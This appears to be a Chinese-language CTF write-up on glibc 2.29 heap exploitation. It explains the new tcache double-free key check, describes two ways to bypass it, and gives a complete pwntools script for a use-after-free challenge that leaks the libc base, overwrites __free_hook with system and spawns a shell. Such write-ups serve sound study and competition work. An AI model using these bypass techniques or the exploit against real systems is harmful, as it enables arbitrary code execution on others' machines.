libc2.29利用小结

0x0简介

libc2.29的题目又与2.27的机制有所不同这里总结下

0x1 新增机制

tcache是glibc-2.26引入的一种新技术,目的是提升堆管理的性能,早期的libc对tcache基本没任何防护,简直到了为所欲为的地步,一不检查double free,二不检查size大小,使用起来比fastbins还要简单。

查看glibc-2.29 malloc.c的源码,tcache_entry结构体增加了一个新指针key放在bk的位置,用于检测double free。

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; /* 新增指针 */
} tcache_entry;

在之前的版本,要填满tcache非常简单粗暴,如果程序不清空指针,可以由头到尾free同一个chunk,直接把tcache填满,在2.29下这个方法不再适用。下面继续看一下tcache_put和tcache_get部分的源码,看看这个新指针起到如何的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; // 写入tcache_perthread_struct地址
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->counts[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL; // 清空
return (void *) e;
}

当一个属于tcache大小的chunk被free掉时,会调用tcache_put,e->key被写入tcache_perthread_struct的地址,也就是heap开头的位置。而当程序从tcache取出chunk时,会将e->key重新清空。

然后再看一下_int_free中tcache部分如何进行double free检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

...

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache)) // 检查是否为tcache_perthread_struct地址
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e) // 检查tcache中是否有一样的chunk
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
...

首先_int_free会检查chunk的key是否为tcache_perthread_struct地址,然后会遍历tcache,检查此chunk是否已经在tcache中,如有则触发malloc_printerr报错free(): double free detected in tcache 2。

简单总结一下,2.29下tcache触发double free报错的条件为:

1
e-key == &tcache_perthread_struct && chunk in tcachebin[chunk_idx]

新增保护主要还是用到e->key这个属性,因此绕过想绕过检测进行double free,这里也是入手点。绕过思路有以下两个:

  1. 如果有UAF漏洞或堆溢出,可以修改e->key为空,或者其他非tcache_perthread_struct的地址。这样可以直接绕过_int_free里面第一个if判断。不过如果UAF或堆溢出能直接修改chunk的fd的话,根本就不需要用到double free了。
  2. 利用堆溢出,修改chunk的size,最差的情况至少要做到off by null。留意到_int_free里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。

0x3 i春秋新春抗疫 Document(kn0ck)

很明显的一个uaf,很好的利用了tcache的特性
思路就是先填满tcache,然后再泄露,利用小块的0x8内的内容写到free_hook
环境用的是现成的pwndocker,然后libc是用的glibc-all-in-one中下载的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.log_level = 'debug'
sh = process(["./ld-2.29.so", "./pwn"], env={"LD_PRELOAD":"/home/wood/pwn/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so"})
libc = ELF('/home/wood/pwn/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(sh)

def add(name,content):
sh.recvuntil("Give me your choice : \n")
sh.sendline('1')
sh.recvuntil('input name\n')
sh.send(name)
sh.recvuntil('input sex\n')
sh.sendline('W')
sh.recvuntil("input information\n")
sh.send(content)

def remove(idx):
sh.recvuntil("Give me your choice : \n")
sh.sendline('4')
sh.recvuntil("Give me your index : \n")
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil("Give me your choice : \n")
sh.sendline('3')
sh.recvuntil("Give me your index : \n")
sh.sendline(str(idx))
sh.recvuntil("Are you sure change sex?\n")
sh.sendline('Y')
sh.recvuntil("Now change information\n")
sh.send(content)

def show(idx):
sh.recvuntil("Give me your choice : \n")
sh.sendline('2')
sh.recvuntil("Give me your index : \n")
sh.sendline(str(idx))



add('a'*8,'a'*0x70)
add('b'*8,'b'*0x70)
add('c'*8,'c'*0x70)
add('d'*8,'d'*0x70)

remove(3)
edit(3,'1'*0x70)
remove(3)

remove(2)
edit(2,'2'*0x70)
remove(2)

remove(1)
edit(1,'1'*0x70)

remove(0)
edit(0,'1'*0x70)
remove(0)

remove(1)

show(1)

libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x1e4ca0
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + 0x52fd0
free_hook = libc_base + libc.sym['__free_hook']
log.success('free_hook: '+hex( free_hook))
log.success('system: ' + hex(system_addr))

add(p64(free_hook),p64(free_hook)*14)
add('/bin/sh\x00','/bin/sh\x00'*14)
add(p64(system_addr),p64(system_addr)*14)
remove(5)
#show(5)
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +